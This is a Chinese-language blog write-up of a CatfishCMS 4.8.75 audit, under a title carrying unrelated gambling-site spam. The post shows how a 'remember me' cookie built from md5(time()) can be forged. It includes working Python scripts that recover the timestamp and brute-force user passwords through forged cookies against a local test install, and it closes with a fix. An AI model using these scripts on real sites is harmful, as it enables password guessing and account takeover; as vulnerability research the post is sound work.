桃花源娱乐某fishcms 之记一次有趣的审计_HUC惠仲娱乐

桃花源娱乐

上一篇文章审到了 后台的getshell
地址:某fishcms 后台存在任意文件删除+getshell

想着怎么说也再审审,然后。。。

审了一个危害不算大的,但觉得挺有趣的,分享一下


发现问题

绝望之际,开始翻起了函数。

user\controller\common.php 中,我发现了:

发现 Cookie 中获取 useruser_id ,立刻提起了我的兴趣。

首先我们依次看看这函数的三个判断。

49行的:

if(     !Session::has($this->session_prefix.'user_id')      && Cookie::has($this->session_prefix.'user_id')      && Cookie::has($this->session_prefix.'user') )

为了方便,这里我们先无视 $this->session_prefix 这个前缀。

三个条件:

  1. SESSION 中不存在 user_id
  2. cookie 中存在 user_id
  3. cookie 中存在 user

看起来不难,先不分析,看看第二个:

$cookie_user_p = Cache::get('cookie_user_p'); if(     Cookie::has($this->session_prefix.'user_p')      && $cookie_user_p !== false )
  1. cookie 中有 user_p
  2. cache 中有 cookie_user_p

暂时无视 cache 中的那个值,再看看第三个 if

$user = 从数据库中查找 $_COOKIE['user'] 对应的 pass 和 user_type if(     !empty($user)      && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p') )
  1. 查得出数据就可以过
  2. md5($cookie_user_p+用户的密码) 等于 cookie 中的 user_p

接下来我们总结一下这三个 if,这里 cookie 的值我们是可控的,不可控的值只有两个:

  1. $this->session_prefix
  2. $cookie_user_p = Cache::get('cookie_user_p');

第一个的值($this->session_prefix):

url.build('/') 就是网站的根目录。

所以这个值就是:catfish + 根目录的值替换几个特殊字符

第二个值(Cache::get('cookie_user_p'))在这个类没有赋值,全局搜索一下只找到一处赋值的地方:

这是登陆的函数,在判断完账号密码后到的这里。

这个 remeber 一看就知道是 记住账号 的按钮。

125 行定义了这个值:

$cookie_user_p = md5(time());

可以说是相当薄弱了,这个随机数我们是很容易找出来的。

所以所有的值都是已知的
只剩最后一个问题了,有什么用呢?

问得好,我们看看登陆成功后都做了什么:

Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id')); Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user')); Session::set($this->session_prefix.'user_type',$user['user_type']);

因为从数据库中获取了 username 相应的密码,所以 usernamepassword 我们都要填正确的才行。 所以 useruser_type 不行,只有 user_id 了我们可以任意控制。但是这个 user_id 找了一圈,也没找到什么实质性的危害。。。


思考问题

在我眼睁睁地看着我的头发掉了三根的时候,我想到了,这里我们相当于绕过验证码,爆破用户名密码。这也算是低危了吧。

下面我们可以来思考如何利用了:

我们再一个条件一个条件来:

第一个:

if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user'))

我们没登陆时,默认是没有 user_idsession 里的,所以这里没影响。

第二个:

$cookie_user_p = Cache::get('cookie_user_p'); if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false)

这里是关键了,默认 cookie_user_p 其实是 false ,但是设置的地方只有一处,是登陆的地方,但是第一个 if 判断了 sessionuser_id ,相当于不能登陆

所以换个角度,我们能不能先登陆一次,再注销呢?

答案是:当然可以,而且注销也不会删掉 Cachecookie_user_p 的值。

ok,既然如此,我们可以先试试。

漏洞复现

首先我们可能需要一个这样的 php

这方便我们等等登陆完找到一个大概的 time 值。

然后我们就去登陆吧:

这里点 记住我
登陆完后我们访问这个 php

此时我们可以看看我们的 cookie

我们可以在这里就直接找到他的前缀:catfishCatfishCMS|4?8?75

然后再看看 user_p 这个值:7541e2cc792bd77faf926e96a6006031

我们再来回顾一下这个值是这么设置的:
Cookie::set(前缀.'user_p',md5($cookie_user_p.$user['user_pass']),604800);

$cookie_user_p 是那个 md5(时间)
$user['user_pass'] 是我们的密码。

我们有一个近似的时间了,所以我们很容易爆破出来这个 $cookie_user_p 到底是多少。

我们写个 jo 本:

import hashlib def md5(s):     return hashlib.md5(s).hexdigest() cookie_user_p = 1558287843 login_password = '123456' while True:     if md5(md5(str(cookie_user_p))+md5(login_password)) == "7541e2cc792bd77faf926e96a6006031":         break     cookie_user_p-=1 print cookie_user_p

这里我跑出了 : 1558279836

然后我们现在注销登陆。

再看看哪里调用了 checkUser

我们可以看到 user\index 一开始就调用了这个函数。我们可以访问 /user/index ,然后抓包。

默认的包:

然后我们添加几个关键 cookie

catfishCatfishCMS|4?8?75user_id=any; catfishCatfishCMS|4?8?75user=ruozhi1; catfishCatfishCMS|4?8?75user_p=7541e2cc792bd77faf926e96a6006031;

user_p 是:md5(md5('1558279836')+md5('123456'));

这里 1558279836 是我刚跑出来的值,123456 是我的密码

成功了。。

当然,既然是要爆破,比如我们再试试别的账号。

首先我们需要再注销一次用户(因为第一个 if 中判断了 session 中不能有 user_id

这里我又注册了一个:

账号:ruozhi2,密码:12345678

md5(md5('1558279836')+md5('12345678')) = bb889606714938a2408aa29fa6d0aa4d

依然可以。

当然了,爆破这个操作手工来肯定太麻烦,所以我们可以写个脚本:

脚本在最下面。。

总结

这个漏洞其实危害不大,但是我觉得这个漏洞的思路挺有意思的,所以拿出来献丑了。

在开发中可以把 time 改成 随机数 或者直接 像验证码那样弄几个几十个随机字符,这样就加大了爆破这个字符串的难度。

脚本

#python3 脚本 import requests import hashlib  passwords = [  '123456', '12345', '123456789', 'password', 'iloveyou', 'princess', '1234567', 'rockyou', '12345678', 'abc123', 'nicole', 'daniel', 'babygirl', 'monkey', 'lovely', 'jessica', '654321', 'michael', 'ashley', 'qwerty', '111111', 'iloveu', ]  def md5(s):     return hashlib.md5(s.encode()).hexdigest()  u = "http://127.0.0.1/CatfishCMS-4.8.75/user.html"  session_prefix = 'catfishCatfishCMS|4?8?75' # 前缀 user_p = '7541e2cc792bd77faf926e96a6006031' # 登陆后 cookie 中 user_p 的值 login_password = '123456' # 登陆时的密码 PHPSESSID = 'dvl43ghjiocb81tkgabv46pmkt'  username = 'ruozhi3' # 爆破的用户名  cookie_user_p = 1558287843 #登陆时大概的时间戳(要在登陆成功后的时间  while True:     if md5(md5(str(cookie_user_p))+md5(login_password)) == user_p:         break     cookie_user_p-=1 print(cookie_user_p)  for passwd in passwords:      print("check:"+str(passwd))     cookie = {          "think_var":"zh-cn",          "PHPSESSID":PHPSESSID,          session_prefix+"user_id":"any",          session_prefix+"user":username,          session_prefix+"user_p":md5(md5(str(cookie_user_p))+md5(passwd)),     }       r = requests.post(u,cookies=cookie,allow_redirects=False)     if 'location' not in r.headers or r.headers['location'].find("login") < 0:         print("Success~");         print(username,passwd)         break